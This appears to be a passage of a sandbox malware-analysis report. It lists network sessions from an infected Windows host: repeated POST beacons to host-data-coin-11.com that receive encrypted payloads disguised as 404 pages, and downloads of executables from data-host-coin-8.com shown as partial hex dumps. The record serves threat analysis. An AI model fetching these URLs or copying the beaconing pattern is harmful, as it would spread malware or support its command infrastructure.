Transfer-Encoding: chunked
Connection: close
Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 
93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 
0d 0a 0d 0a 
Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0

Session ID Source IP Source Port Destination IP Destination Port Process

5 192.168.2.5 49892 144.76.136.153 443 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

50 192.168.2.5 49870 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:55.434896946 CET

12153 OUT GET /files/6961_1642089187_2359.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: data-host-coin-8.com
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Jan 14, 2022 
12:22:55.537507057 CET

12155 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:55 GMT
Content-Type: application/x-msdos-program
Content-Length: 905216
Connection: close
Last-Modified: Thu, 13 Jan 2022 15:53:07 GMT
ETag: "dd000-5d578aeb4049d"
Accept-Ranges: bytes
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 
49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce 
ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 
01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 
00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 
02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 
00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 
00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 
00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 
00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 c7 01 00 32 41 00 e9 09 11 00 00 56 8b f1 c7 06 00 32 41 00 e8 fb 10 00 00 f6 44 24 08 01 74 07 56 
e8 88 14 00 00 59 8b c6 5e c2 04 00 55 8b ec ff 75 14 ff 75 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$gqIvhExfcRichPEL[_ 200@P|qXf(p 1@Y@0.text  `.rdata"?
0@$@@.data8pd@.rsrc np@@2AV2AD$tVY^Uuu

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

51 192.168.2.5 49872 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:57.553817987 CET

13089 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://lklgd.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 216
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:57.673760891 CET

13090 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:57 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

52 192.168.2.5 49873 8.209.70.0 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:57.756679058 CET

13091 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://lhrpodd.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 188
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:57.893400908 CET

13091 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:57 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 66 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 80 49 08 25 01 e5 e9 8d b0 a2 37 0d 
0a 30 0d 0a 0d 0a 
Data Ascii: 1fI:82OI%70

Session ID Source IP Source Port Destination IP Destination Port Process

53 192.168.2.5 49875 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:58.528794050 CET

13108 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://qleshmgwbo.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 229
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:58.650576115 CET

13109 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:58 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b 
db 76 f8 67 5d a4 09 d7 cd 66 c7 64 50 06 b9 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 30I:82OTevg]fdP0

Session ID Source IP Source Port Destination IP Destination Port Process

54 192.168.2.5 49877 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:59.079962015 CET

13115 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://imbsnmrynf.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 252
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:59.212516069 CET

13116 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:59 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Session ID Source IP Source Port Destination IP Destination Port Process

55 192.168.2.5 49878 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:59.283127069 CET

13117 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://tjhwdu.net/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 186
Host: host-data-coin-11.com
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Jan 14, 2022 
12:22:59.424412012 CET

13117 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:59 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Connection: close

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

56 192.168.2.5 49879 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:59.538500071 CET

13118 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://tunhaq.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 112
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:59.657360077 CET

13122 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:59 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

57 192.168.2.5 49880 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:59.914983988 CET

13123 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://tdpktpuwsb.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 328
Host: host-data-coin-11.com

Jan 14, 2022 
12:23:00.054585934 CET

13124 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:23:00 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 
93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 46 e8 ae 88 70 bc 57 dd 43 df f9 21 87 26 ec c3 91 50 23 e4 a8 1d 63 a9 0d 0a 30 
0d 0a 0d 0a 
Data Ascii: 46I:82OR&:UPJ%9FpWC!&P#c0

Session ID Source IP Source Port Destination IP Destination Port Process

58 192.168.2.5 49881 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:23:00.419528008 CET

13125 OUT GET /files/8474_1641976243_3082.exe HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: data-host-coin-8.com
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Jan 14, 2022 
12:23:00.522039890 CET

13126 IN HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:23:00 GMT
Content-Type: application/x-msdos-program
Content-Length: 373760
Connection: close
Last-Modified: Wed, 12 Jan 2022 08:30:43 GMT
ETag: "5b400-5d55e62ba577e"
Accept-Ranges: bytes
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6c cb d2 55 28 aa bc 06 28 aa bc 06 28 aa bc 06 36 f8 29 06 31 aa bc 06 36 f8 3f 
06 57 aa bc 06 0f 6c c7 06 2b aa bc 06 28 aa bd 06 f5 aa bc 06 36 f8 38 06 11 aa bc 06 36 f8 28 06 29 aa bc 06 36 f8 2d 
06 29 aa bc 06 52 69 63 68 28 aa bc 06 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 61 a2 52 60 00 00 00 00 00 00 
00 00 e0 00 02 01 0b 01 09 00 00 c2 04 00 00 76 12 00 00 00 00 00 40 a1 02 00 00 10 00 00 00 e0 04 00 00 00 40 00 00 
10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 17 00 00 04 00 00 e2 26 06 00 02 00 00 80 
00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 be 04 00 28 00 00 
00 00 b0 16 00 10 7b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 17 00 14 1d 00 00 80 13 00 00 1c 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 8f 00 00 40 00 00 00 00 00 00 00 00 
00 00 00 00 10 00 00 38 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 
74 00 00 00 e8 c1 04 00 00 10 00 00 00 c2 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 
74 61 00 00 00 bc 9f 11 00 00 e0 04 00 00 18 00 00 00 c6 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 67 
69 7a 69 00 00 00 05 00 00 00 00 80 16 00 00 02 00 00 00 de 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 
62 75 72 00 00 00 00 ea 00 00 00 00 90 16 00 00 02 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 
2e 77 6f 62 00 00 00 00 93 0d 00 00 00 a0 16 00 00 0e 00 00 00 e2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c
0 2e 72 73 72 63 00 00 00 10 7b 00 00 00 b0 16 00 00 7c 00 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 
40 2e 72 65 6c 6f 63 00 00 34 46 00 00 00 30 17 00 00 48 00 00 00 6c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 
00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 f4 c1 04 00 06 c2 04 00 1a c2 04 00 30 c2 04 00 40 c2 04 00 50 c2 04 00 6c c2 04 00 84 c2 04 
00 98 c2 04 00 a8 c2 04 00 c2 c2 04 00 dc c2 04 00 f4 c2 04 00 08 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$lU(((6)16?Wl+(686()6-)Rich(PELaR`v@@&({0@8.text `.da
ta@.gizi@.bur@.wob@.rsrc{|@@.reloc4F0Hl@B0@Pl

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

59 192.168.2.5 49882 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:23:03.452711105 CET

13513 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://gmheob.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 112
Host: host-data-coin-11.com

Jan 14, 2022 
12:23:03.577178001 CET

13514 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:23:03 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 
41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 
3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 
20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not 
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID Source IP Source Port Destination IP Destination Port Process

6 192.168.2.5 49762 8.209.70.0 80 C:\Windows\explorer.exe
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Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:22:06.085762024 CET

1393 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://kymdfgnri.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 331
Host: host-data-coin-11.com

Jan 14, 2022 
12:22:06.205229998 CET

1394 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:22:06 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 0d 0a 14 00 00 00 7b fa f6 18 b5 69 2b 2c 47 fa 0e a8 c1 82 9f 4f 1a c4 da 16 00 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 19{i+,GO0

Session ID Source IP Source Port Destination IP Destination Port Process

60 192.168.2.5 49883 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:23:03.736747026 CET

13515 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ekivxk.com/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 352
Host: host-data-coin-11.com

Jan 14, 2022 
12:23:03.858637094 CET

13516 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:23:03 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b 
db 76 f8 41 5b bb 06 f5 ee 66 b9 64 50 06 b9 0d 0a 30 0d 0a 0d 0a 
Data Ascii: 30I:82OTevA[fdP0

Session ID Source IP Source Port Destination IP Destination Port Process

61 192.168.2.5 49888 8.209.70.0 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jan 14, 2022 
12:23:06.362771988 CET

14159 OUT POST / HTTP/1.1
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://ixdqjqpvmn.org/
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 120
Host: host-data-coin-11.com

Jan 14, 2022 
12:23:06.481986046 CET

14160 IN HTTP/1.1 404 Not Found
Server: nginx/1.20.1
Date: Fri, 14 Jan 2022 11:23:06 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 
